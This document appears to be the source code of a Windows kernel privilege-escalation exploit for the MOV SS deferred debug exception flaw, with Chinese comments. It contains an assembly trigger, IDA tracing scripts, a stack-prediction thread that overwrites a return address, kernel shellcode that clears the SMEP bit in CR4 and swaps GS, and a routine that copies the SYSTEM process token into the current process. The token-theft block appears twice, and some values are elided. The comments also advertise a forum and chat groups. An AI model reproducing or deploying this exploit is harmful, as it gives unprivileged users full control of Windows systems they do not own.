#include <Windows.h>
#include <iostream>
void main()
{
static DWORD g_SavedSS = 0;
_asm
{
mov ax, ss
mov word ptr [ g_SavedSS ], ax
}
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( DWORD ) &g_SavedSS;
Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( HANDLE( -2 ), &Ctx );
PVOID FakeGsBase = ...;
_asm
{
mov eax, FakeGsBase ; Set eax to fake gs base
push 0x23
push X64_End
push 0x33
push X64_Start
retf
X64_Start:
__emit 0xf3 ; wrgsbase eax
__emit 0x0f
__emit 0xae
__emit 0xd8
retf
X64_End:

; Vulnerability
mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
}
}

#include <idc.idc>

static main() 

{

  Message( "--- Step Till Next GS ---\n" );

  while( 1 )

  {

    auto Disasm = GetDisasmEx( GetEventEa(), 1 );

    if ( strstr( Disasm, "gs:" ) >= Disasm )

      break;

    StepInto();

    GetDebuggerEvent( WFNE_SUSP, -1 );

  }

}

char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
{
...
if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
{
...
}
else
{
*v5 = 5;
result = 1;
*v3 = 0xFFFFFFFFFFFFFFFFi64;
*v4 = 0xFFFF800000000000i64;
}
return result;
}

#include <idc.idc>
static main()
{
Message( "--- Logging Points of Interest ---\n" );

while( 1 )
{
auto IP = GetEventEa();
auto Disasm = GetDisasmEx( IP, 1 );

if
(
( strstr( Disasm, "gs:" ) >= Disasm ) ||
( strstr( Disasm, "jmp r" ) >= Disasm ) ||
( strstr( Disasm, "call r" ) >= Disasm ) ||
( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
)
{
Message( "-- %s (+%x): %s\n", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
}

StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );

if( IP == ... )
break;
}
}

HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD
{
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );

while ( !Ctx->Rsp );	// dr0断点触发 等待RtlCaptureContext被调用一次，以便我们获取此时的RSP 因为参数是我们r3提供的那块pcr内存 而且分析汇编 只有KeBugCheckEx调用RtlCaptureContext的地方才会写入这个context
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial );	// dr0断点触发 执行到RtlCaptureContext到KiSaveProcessorState内部会触发dr1硬断 此时再次进入KiDebugTrapxxxx函数到RtlCaptureContext内部 此时rsp的值相较于上刺同样位置rsp值的差值是固定的 堆栈回朔也需要这个值

StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta;	//根据差值预测下一次dr1硬断(上面dr1第一次触发后 也会再次进入KiSaveProcessorState 同样再次引发dr1)后 再回到上面那个位置的rsp值
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8;	// 定位堆栈返回地址
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;	
// RtlCaptureContext内部会把当前cpu寄存器值都塞入参数rcx代表的context结构里去 这个参数来自(Prcb + Offset_Prcb__Context)
//也就是NextRetPtrStorage - Offset_Context__XMM13 相当于进入RtlCaptureContext后 sub rsp,Offset_Context__XMM13开辟了
//一段局部变量区 此时复制xmm13到15的时候 其实是覆盖掉了返回地址以上的堆栈 恰好把xmmm13到15寄存器里面的数据写入堆栈 很骚气
return 0;
}, 0, 0, 0 );

NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;

using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1,	// mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4,	// mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1,	// mov rcx, r8 ; rcx = ContextBackup
0xFB,	// sti ; enable interrupts
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
0x48, 0xCF	// iretq ; interrupt return
};

NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
NON_PAGED_DATA ptrdiff_t StackDelta = 0;

NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );//清除异常

uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );//第20位是smep 关闭它 佛则
/*
切换gs 因为漏洞利用就是让cpl(比如cs寄存器前两位) 进入中断后 会判断cpl 完后判断是否切换gs 之前漏洞的特点就是r3层引发中断异常后 进入内核本来cpl是3
但是却自动变成了0 所以不需要切换 但是要执行内核函数 必须修改提供的r3层的gs结构里面的各种属性 只能简单改改
让他执行到我们的用户层shellcode后 赶紧切换gs 此时就可以各种yy了 但是可能要关闭中断 部分函数可能irql太低 导致线程切换 swapcontext内部也会恢复smep 所以可能要考虑
瞄眼社区miao1yan.top另外一篇文章 搜smep就知道了
*/
__swapgs();


// Uncomment if it bugchecks to debug:
// __writedr( 2, StackDelta );
// __writedr( 3, PredictedNextRsp );
// __debugbreak();
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
//上面下两个访问全局变量的硬件断点 和一个int 3断点 单步调试 逐步查看到底哪里奔溃了
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;//Kebugcheckex函数内部RtlCaptureContext给context赋值rsp的时候的rsp数值 减去增量 就是

// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 && //win10 上调试发现是0x10
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{

__rollback_isr( IsrStackIterator );//回朔堆栈

// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )//回朔到int 3断点触发后 进入中断回调的时候 保存eflags cs ip 到堆栈 此时直接提取相关信息
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap 最开始的int 3断点
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 -- ip
fffff00e`d7a1bc70 0000000000000033 cs
fffff00e`d7a1bc78 0000000000000202 eflags
fffff00e`d7a1bc80 000000ad39b6f938 sp
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}

IsrStackIterator -= StackDelta;
}


PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );

// ------ KERNEL CODE ------ 欢迎加入miao1yan.top群号835875625和755836982

uint64_t SystemProcess = *k_PsInitialSystemProcess;//偷来系统进程的eprocess和令牌 提升自己的进程权限
uint64_t CurrentProcess = k_PsGetCurrentProcess();

uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );

for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );

if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}


k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );

// ------ KERNEL CODE ------

__swapgs();

( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;//绕过int 3断电的位置 继续执行
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );//返回r3 继续执行
}

uint64_t SystemProcess = *k_PsInitialSystemProcess;//偷来系统进程的eprocess和令牌 提升自己的进程权限
uint64_t CurrentProcess = k_PsGetCurrentProcess();

uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );

for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );

if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}


k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );